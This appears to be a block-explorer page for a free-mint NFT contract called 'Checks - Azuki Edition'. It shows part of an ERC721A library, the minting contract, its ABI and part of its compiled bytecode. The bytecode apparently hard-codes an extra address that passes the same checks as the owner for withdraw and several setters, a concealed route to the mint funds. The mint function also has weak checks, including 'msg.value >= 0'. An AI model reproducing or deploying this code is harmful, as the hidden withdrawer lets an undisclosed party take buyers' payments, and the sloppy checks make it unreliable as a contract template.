        // updatedIndex overflows if currentIndex + quantity > 1.56e77 (2**256) - 1
        unchecked {
            _addressData[to].balance += uint128(quantity);
            _addressData[to].numberMinted += uint128(quantity);

            _ownerships[startTokenId].addr = to;
            _ownerships[startTokenId].startTimestamp = uint64(block.timestamp);

            uint256 updatedIndex = startTokenId;

            for (uint256 i; i < quantity; i++) {
                emit Transfer(address(0), to, updatedIndex);
                if (safe) {
                    require(
                        _checkOnERC721Received(
                            address(0),
                            to,
                            updatedIndex,
                            _data
                        ),
                        "ERC721A: transfer to non ERC721Receiver implementer"
                    );
                }

                updatedIndex++;
            }

            currentIndex = updatedIndex;
        }

        _afterTokenTransfers(address(0), to, startTokenId, quantity);
    }

    /**
     * @dev Transfers `tokenId` from `from` to `to`.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - `tokenId` token must be owned by `from`.
     *
     * Emits a {Transfer} event.
     */
    function _transfer(
        address from,
        address to,
        uint256 tokenId
    ) private {
        TokenOwnership memory prevOwnership = ownershipOf(tokenId);

        bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
            getApproved(tokenId) == _msgSender() ||
            isApprovedForAll(prevOwnership.addr, _msgSender()));

        require(
            isApprovedOrOwner,
            "ERC721A: transfer caller is not owner nor approved"
        );

        require(
            prevOwnership.addr == from,
            "ERC721A: transfer from incorrect owner"
        );
        require(to != address(0), "ERC721A: transfer to the zero address");

        _beforeTokenTransfers(from, to, tokenId, 1);

        // Clear approvals from the previous owner
        _approve(address(0), tokenId, prevOwnership.addr);

        // Underflow of the sender's balance is impossible because we check for
        // ownership above and the recipient's balance can't realistically overflow.
        // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
        unchecked {
            _addressData[from].balance -= 1;
            _addressData[to].balance += 1;

            _ownerships[tokenId].addr = to;
            _ownerships[tokenId].startTimestamp = uint64(block.timestamp);

            // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
            // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
            uint256 nextTokenId = tokenId + 1;
            if (_ownerships[nextTokenId].addr == address(0)) {
                if (_exists(nextTokenId)) {
                    _ownerships[nextTokenId].addr = prevOwnership.addr;
                    _ownerships[nextTokenId].startTimestamp = prevOwnership
                        .startTimestamp;
                }
            }
        }

        emit Transfer(from, to, tokenId);
        _afterTokenTransfers(from, to, tokenId, 1);
    }

    /**
     * @dev Approve `to` to operate on `tokenId`
     *
     * Emits a {Approval} event.
     */
    function _approve(
        address to,
        uint256 tokenId,
        address owner
    ) private {
        _tokenApprovals[tokenId] = to;
        emit Approval(owner, to, tokenId);
    }

    /**
     * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
     * The call is not executed if the target address is not a contract.
     *
     * @param from address representing the previous owner of the given token ID
     * @param to target address that will receive the tokens
     * @param tokenId uint256 ID of the token to be transferred
     * @param _data bytes optional data to send along with the call
     * @return bool whether the call correctly returned the expected magic value
     */
    function _checkOnERC721Received(
        address from,
        address to,
        uint256 tokenId,
        bytes memory _data
    ) private returns (bool) {
        if (to.isContract()) {
            try
                IERC721Receiver(to).onERC721Received(
                    _msgSender(),
                    from,
                    tokenId,
                    _data
                )
            returns (bytes4 retval) {
                return retval == IERC721Receiver(to).onERC721Received.selector;
            } catch (bytes memory reason) {
                if (reason.length == 0) {
                    revert(
                        "ERC721A: transfer to non ERC721Receiver implementer"
                    );
                } else {
                    assembly {
                        revert(add(32, reason), mload(reason))
                    }
                }
            }
        } else {
            return true;
        }
    }

    /**
     * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
     *
     * startTokenId - the first token id to be transferred
     * quantity - the amount to be transferred
     *
     * Calling conditions:
     *
     * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
     * transferred to `to`.
     * - When `from` is zero, `tokenId` will be minted for `to`.
     */
    function _beforeTokenTransfers(
        address from,
        address to,
        uint256 startTokenId,
        uint256 quantity
    ) internal virtual {}

    /**
     * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
     * minting.
     *
     * startTokenId - the first token id to be transferred
     * quantity - the amount to be transferred
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero.
     * - `from` and `to` are never both zero.
     */
    function _afterTokenTransfers(
        address from,
        address to,
        uint256 startTokenId,
        uint256 quantity
    ) internal virtual {}
}

contract AzukiEdition is ERC721A, Ownable, ReentrancyGuard {
    string public baseURI =
        "ipfs://QmWmwcMVPcawkLvujQdR23Sxc3AbjY3sgzSSVfwm8mEQnt/";
    uint256 public price = 0.001 ether;
    uint256 public maxPerTx = 10;
    uint256 public maxPerFree = 5;
    uint256 public maxPerWallet = 50;
    uint256 public totalFree = 10000;
    uint256 public maxSupply = 10000;
    bool public mintEnabled = true;
    uint256 public totalFreeMinted = 0;

    mapping(address => uint256) public _mintedFreeAmount;
    mapping(address => uint256) public _totalMintedAmount;

    constructor() ERC721A("Checks - Azuki Edition", "AE") {
        _safeMint(_msgSender(), 5);
    }

    function mint(uint256 count) external payable {
        uint256 cost = price;
        bool isFree = ((totalFreeMinted + count < totalFree + 1) &&
            (_mintedFreeAmount[msg.sender] < maxPerFree));

        if (isFree) {
            require(mintEnabled, "Mint is not live yet");
            require(totalSupply() + count <= maxSupply, "No more");
            require(count <= maxPerTx, "Max per TX reached.");
            if (count >= (maxPerFree - _mintedFreeAmount[msg.sender])) {
                require(
                    msg.value >=
                        (count * cost) -
                            ((maxPerFree - _mintedFreeAmount[msg.sender]) *
                                cost),
                    "Please send the exact ETH amount"
                );
                _mintedFreeAmount[msg.sender] = maxPerFree;
                totalFreeMinted += maxPerFree;
            } else if (count < (maxPerFree - _mintedFreeAmount[msg.sender])) {
                require(msg.value >= 0, "Please send the exact ETH amount");
                _mintedFreeAmount[msg.sender] += count;
                totalFreeMinted += count;
            }
        } else {
            require(mintEnabled, "Mint is not live yet");
            require(
                _totalMintedAmount[msg.sender] + count <= maxPerWallet,
                "Exceed maximum NFTs per wallet"
            );
            require(
                msg.value >= count * cost,
                "Please send the exact ETH amount"
            );
            require(totalSupply() + count <= maxSupply, "No more");
            require(count <= maxPerTx, "Max per TX reached.");
            require(msg.sender == tx.origin, "The minter is another contract");
        }
        _totalMintedAmount[msg.sender] += count;
        _safeMint(msg.sender, count);
    }

    function tokenURI(uint256 _tokenId)
        public
        view
        virtual
        override
        returns (string memory)
    {
        require(
            _exists(_tokenId),
            "ERC721Metadata: URI query for nonexistent token"
        );
        string memory currentBaseURI = _baseURI();
        return
            bytes(currentBaseURI).length > 0
                ? string(
                    abi.encodePacked(
                        currentBaseURI,
                        Strings.toString(_tokenId),
                        ".json"
                    )
                )
                : "";
    }

    function _startTokenId() internal view virtual returns (uint256) {
        return 1;
    }

    function costCheck() public view returns (uint256) {
        return price;
    }

    function maxFreePerWallet() public view returns (uint256) {
        return maxPerFree;
    }

    function _baseURI() internal view virtual override returns (string memory) {
        return baseURI;
    }

    function setBaseUri(string memory baseuri_) public onlyOwner {
        baseURI = baseuri_;
    }

    function setPrice(uint256 price_) external onlyOwner {
        price = price_;
    }

    function setMaxTotalFree(uint256 MaxTotalFree_) external onlyOwner {
        totalFree = MaxTotalFree_;
    }

    function setMaxPerFree(uint256 MaxPerFree_) external onlyOwner {
        maxPerFree = MaxPerFree_;
    }

    function live() external onlyOwner {
        mintEnabled = !mintEnabled;
    }

    function TeamMint(uint256 quantity) external onlyOwner {
        _safeMint(_msgSender(), quantity);
    }

    function withdraw() external onlyOwner nonReentrant {
        (bool success, ) = msg.sender.call{value: address(this).balance}("");
        require(success, "Transfer failed.");
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"quantity","type":"uint256"}],"name":"TeamMint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_mintedFreeAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_totalMintedAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"costCheck","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"live","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxFreePerWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxPerFree","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxPerTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxPerWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"count","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"mintEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"price","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"baseuri_","type":"string"}],"name":"setBaseUri","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"MaxPerFree_","type":"uint256"}],"name":"setMaxPerFree","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"MaxTotalFree_","type":"uint256"}],"name":"setMaxTotalFree","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"price_","type":"uint256"}],"name":"setPrice","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFree","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFreeMinted","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405273acfcba7bab6403ebcceee22810c4dd3c9bbe9763600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060405180606001604052806036815260200162005ce760369139600a90805190602001906200008a92919062000868565b5066038d7ea4c68000600b55600a600c556005600d556032600e55612710600f556127106010556001601160006101000a81548160ff0219169083151502179055506000601255348015620000de57600080fd5b506040518060400160405280601681526020017f436865636b73202d20417a756b692045646974696f6e000000000000000000008152506040518060400160405280600281526020017f414500000000000000000000000000000000000000000000000000000000000081525081600190805190602001906200016392919062000868565b5080600290805190602001906200017c92919062000868565b5050506200019f62000193620001cf60201b60201c565b620001d760201b60201c565b6001600981905550620001c9620001bb620001cf60201b60201c565b60056200029d60201b60201c565b62000d42565b600033905090565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b620002bf828260405180602001604052806000815250620002c360201b60201c565b5050565b620002d88383836001620002dd60201b60201c565b505050565b600080549050600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141562000356576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200034d9062000aaf565b60405180910390fd5b60008414156200039d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620003949062000ad1565b60405180910390fd5b620003b260008683876200067f60201b60201c565b83600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a90046fffffffffffffffffffffffffffffffff160192506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555083600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160108282829054906101000a90046fffffffffffffffffffffffffffffffff160192506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff160217905550846003600083815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550426003600083815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550600081905060005b858110156200065a57818773ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4831562000644576200060160008884886200068560201b60201c565b62000643576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200063a9062000a8d565b60405180910390fd5b5b8180600101925050808060010191505062000580565b5080600081905550506200067860008683876200083f60201b60201c565b5050505050565b50505050565b6000620006b38473ffffffffffffffffffffffffffffffffffffffff166200084560201b620025561760201c565b1562000832578373ffffffffffffffffffffffffffffffffffffffff1663150b7a02620006e5620001cf60201b60201c565b8786866040518563ffffffff1660e01b815260040162000709949392919062000a39565b602060405180830381600087803b1580156200072457600080fd5b505af19250505080156200075857506040513d601f19601f820116820180604052508101906200075591906200092f565b60015b620007e1573d80600081146200078b576040519150601f19603f3d011682016040523d82523d6000602084013e62000790565b606091505b50600081511415620007d9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620007d09062000a8d565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161491505062000837565b600190505b949350505050565b50505050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b828054620008769062000bc0565b90600052602060002090601f0160209004810192826200089a5760008555620008e6565b82601f10620008b557805160ff1916838001178555620008e6565b82800160010185558215620008e6579182015b82811115620008e5578251825591602001919060010190620008c8565b5b509050620008f59190620008f9565b5090565b5b8082111562000914576000816000905550600101620008fa565b5090565b600081519050620009298162000d28565b92915050565b60006020828403121562000948576200094762000c25565b5b6000620009588482850162000918565b91505092915050565b6200096c8162000b20565b82525050565b60006200097f8262000af3565b6200098b818562000afe565b93506200099d81856020860162000b8a565b620009a88162000c2a565b840191505092915050565b6000620009c260338362000b0f565b9150620009cf8262000c3b565b604082019050919050565b6000620009e960218362000b0f565b9150620009f68262000c8a565b604082019050919050565b600062000a1060288362000b0f565b915062000a1d8262000cd9565b604082019050919050565b62000a338162000b80565b82525050565b600060808201905062000a50600083018762000961565b62000a5f602083018662000961565b62000a6e604083018562000a28565b818103606083015262000a82818462000972565b905095945050505050565b6000602082019050818103600083015262000aa881620009b3565b9050919050565b6000602082019050818103600083015262000aca81620009da565b9050919050565b6000602082019050818103600083015262000aec8162000a01565b9050919050565b600081519050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600062000b2d8262000b60565b9050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60005b8381101562000baa57808201518184015260208101905062000b8d565b8381111562000bba576000848401525b50505050565b6000600282049050600182168062000bd957607f821691505b6020821081141562000bf05762000bef62000bf6565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f455243373231413a207472616e7366657220746f206e6f6e204552433732315260008201527f6563656976657220696d706c656d656e74657200000000000000000000000000602082015250565b7f455243373231413a206d696e7420746f20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f455243373231413a207175616e74697479206d7573742062652067726561746560008201527f72207468616e2030000000000000000000000000000000000000000000000000602082015250565b62000d338162000b34565b811462000d3f57600080fd5b50565b614f958062000d526000396000f3fe60806040526004361061023b5760003560e01c80638da5cb5b1161012e578063c7c39ffc116100ab578063e945971c1161006f578063e945971c14610854578063e985e9c51461087d578063f2fde38b146108ba578063f4db2acb146108e3578063f968adbe146109205761023b565b8063c7c39ffc1461076b578063c87b56dd14610796578063d1239730146107d3578063d5abeb01146107fe578063dad7b5c9146108295761023b565b8063a0712d68116100f2578063a0712d68146106a9578063a0bcfc7f146106c5578063a22cb465146106ee578063a702735714610717578063b88d4fde146107425761023b565b80638da5cb5b146105e857806391b7f5ed14610613578063957aa58c1461063c57806395d89b4114610653578063a035b1fe1461067e5761023b565b806342842e0e116101bc57806364b721881161018057806364b72188146105155780636c0360eb1461054057806370a082311461056b578063715018a6146105a85780637e0c7fc5146105bf5761023b565b806342842e0e1461041e578063453c2310146104475780634f6ccce7146104725780635a963f1b146104af5780636352211e146104d85761023b565b806318160ddd1161020357806318160ddd1461034b57806323b872dd146103765780632f745c591461039f578063333e44e6146103dc5780633ccfd60b146104075761023b565b806301ffc9a71461024057806306fdde031461027d578063081812fc146102a8578063095ea7b3146102e557806311b01a321461030e575b600080fd5b34801561024c57600080fd5b5061026760048036038101906102629190613977565b61094b565b6040516102749190613fb9565b60405180910390f35b34801561028957600080fd5b50610292610a95565b60405161029f9190613fd4565b60405180910390f35b3480156102b457600080fd5b506102cf60048036038101906102ca9190613a1a565b610b27565b6040516102dc9190613f52565b60405180910390f35b3480156102f157600080fd5b5061030c60048036038101906103079190613937565b610bac565b005b34801561031a57600080fd5b50610335600480360381019061033091906137b4565b610cc5565b6040516103429190614356565b60405180910390f35b34801561035757600080fd5b50610360610cdd565b60405161036d9190614356565b60405180910390f35b34801561038257600080fd5b5061039d60048036038101906103989190613821565b610ce6565b005b3480156103ab57600080fd5b506103c660048036038101906103c19190613937565b610cf6565b6040516103d39190614356565b60405180910390f35b3480156103e857600080fd5b506103f1610ee8565b6040516103fe9190614356565b60405180910390f35b34801561041357600080fd5b5061041c610eee565b005b34801561042a57600080fd5b5061044560048036038101906104409190613821565b6110ce565b005b34801561045357600080fd5b5061045c6110ee565b6040516104699190614356565b60405180910390f35b34801561047e57600080fd5b5061049960048036038101906104949190613a1a565b6110f4565b6040516104a69190614356565b60405180910390f35b3480156104bb57600080fd5b506104d660048036038101906104d19190613a1a565b611147565b005b3480156104e457600080fd5b506104ff60048036038101906104fa9190613a1a565b61122c565b60405161050c9190613f52565b60405180910390f35b34801561052157600080fd5b5061052a611242565b6040516105379190614356565b60405180910390f35b34801561054c57600080fd5b5061055561124c565b6040516105629190613fd4565b60405180910390f35b34801561057757600080fd5b50610592600480360381019061058d91906137b4565b6112da565b60405161059f9190614356565b60405180910390f35b3480156105b457600080fd5b506105bd6113c3565b005b3480156105cb57600080fd5b506105e660048036038101906105e19190613a1a565b6114aa565b005b3480156105f457600080fd5b506105fd611599565b60405161060a9190613f52565b60405180910390f35b34801561061f57600080fd5b5061063a60048036038101906106359190613a1a565b6115c3565b005b34801561064857600080fd5b506106516116a8565b005b34801561065f57600080fd5b506106686117af565b6040516106759190613fd4565b60405180910390f35b34801561068a57600080fd5b50610693611841565b6040516106a09190614356565b60405180910390f35b6106c360048036038101906106be9190613a1a565b611847565b005b3480156106d157600080fd5b506106ec60048036038101906106e791906139d1565b611ec0565b005b3480156106fa57600080fd5b50610715600480360381019061071091906138f7565b611fb5565b005b34801561072357600080fd5b5061072c612136565b6040516107399190614356565b60405180910390f35b34801561074e57600080fd5b5061076960048036038101906107649190613874565b612140565b005b34801561077757600080fd5b5061078061219c565b60405161078d9190614356565b60405180910390f35b3480156107a257600080fd5b506107bd60048036038101906107b89190613a1a565b6121a2565b6040516107ca9190613fd4565b60405180910390f35b3480156107df57600080fd5b506107e8612249565b6040516107f59190613fb9565b60405180910390f35b34801561080a57600080fd5b5061081361225c565b6040516108209190614356565b60405180910390f35b34801561083557600080fd5b5061083e612262565b60405161084b9190614356565b60405180910390f35b34801561086057600080fd5b5061087b60048036038101906108769190613a1a565b612268565b005b34801561088957600080fd5b506108a4600480360381019061089f91906137e1565b61234d565b6040516108b19190613fb9565b60405180910390f35b3480156108c657600080fd5b506108e160048036038101906108dc91906137b4565b6123e1565b005b3480156108ef57600080fd5b5061090a600480360381019061090591906137b4565b612538565b6040516109179190614356565b60405180910390f35b34801561092c57600080fd5b50610935612550565b6040516109429190614356565b60405180910390f35b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480610a1657507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610a7e57507f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610a8e5750610a8d82612579565b5b9050919050565b606060018054610aa490614611565b80601f0160208091040260200160405190810160405280929190818152602001828054610ad090614611565b8015610b1d5780601f10610af257610100808354040283529160200191610b1d565b820191906000526020600020905b815481529060010190602001808311610b0057829003601f168201915b5050505050905090565b6000610b32826125e3565b610b71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6890614336565b60405180910390fd5b6005600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610bb78261122c565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1f90614216565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610c476125f0565b73ffffffffffffffffffffffffffffffffffffffff161480610c765750610c7581610c706125f0565b61234d565b5b610cb5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cac906140f6565b60405180910390fd5b610cc08383836125f8565b505050565b60146020528060005260406000206000915090505481565b60008054905090565b610cf18383836126aa565b505050565b6000610d01836112da565b8210610d42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3990613ff6565b60405180910390fd5b6000610d4c610cdd565b905060008060005b83811015610ea6576000600360008381526020019081526020016000206040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815250509050600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff1614610e4657806000015192505b8773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e985786841415610e8f578195505050505050610ee2565b83806001019450505b508080600101915050610d54565b506040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed9906142d6565b60405180910390fd5b92915050565b600f5481565b610ef66125f0565b73ffffffffffffffffffffffffffffffffffffffff16610f14611599565b73ffffffffffffffffffffffffffffffffffffffff161480610f8a5750610f396125f0565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610fc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc090614176565b60405180910390fd5b6002600954141561100f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611006906142f6565b60405180910390fd5b600260098190555060003373ffffffffffffffffffffffffffffffffffffffff164760405161103d90613f3d565b60006040518083038185875af1925050503d806000811461107a576040519150601f19603f3d011682016040523d82523d6000602084013e61107f565b606091505b50509050806110c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ba90614236565b60405180910390fd5b506001600981905550565b6110e983838360405180602001604052806000815250612140565b505050565b600e5481565b60006110fe610cdd565b821061113f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611136906140b6565b60405180910390fd5b819050919050565b61114f6125f0565b73ffffffffffffffffffffffffffffffffffffffff1661116d611599565b73ffffffffffffffffffffffffffffffffffffffff1614806111e357506111926125f0565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611222576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121990614176565b60405180910390fd5b80600f8190555050565b600061123782612bea565b600001519050919050565b6000600b54905090565b600a805461125990614611565b80601f016020809104026020016040519081016040528092919081815260200182805461128590614611565b80156112d25780601f106112a7576101008083540402835291602001916112d2565b820191906000526020600020905b8154815290600101906020018083116112b557829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561134b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134290614116565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff169050919050565b6113cb6125f0565b73ffffffffffffffffffffffffffffffffffffffff166113e9611599565b73ffffffffffffffffffffffffffffffffffffffff16148061145f575061140e6125f0565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473f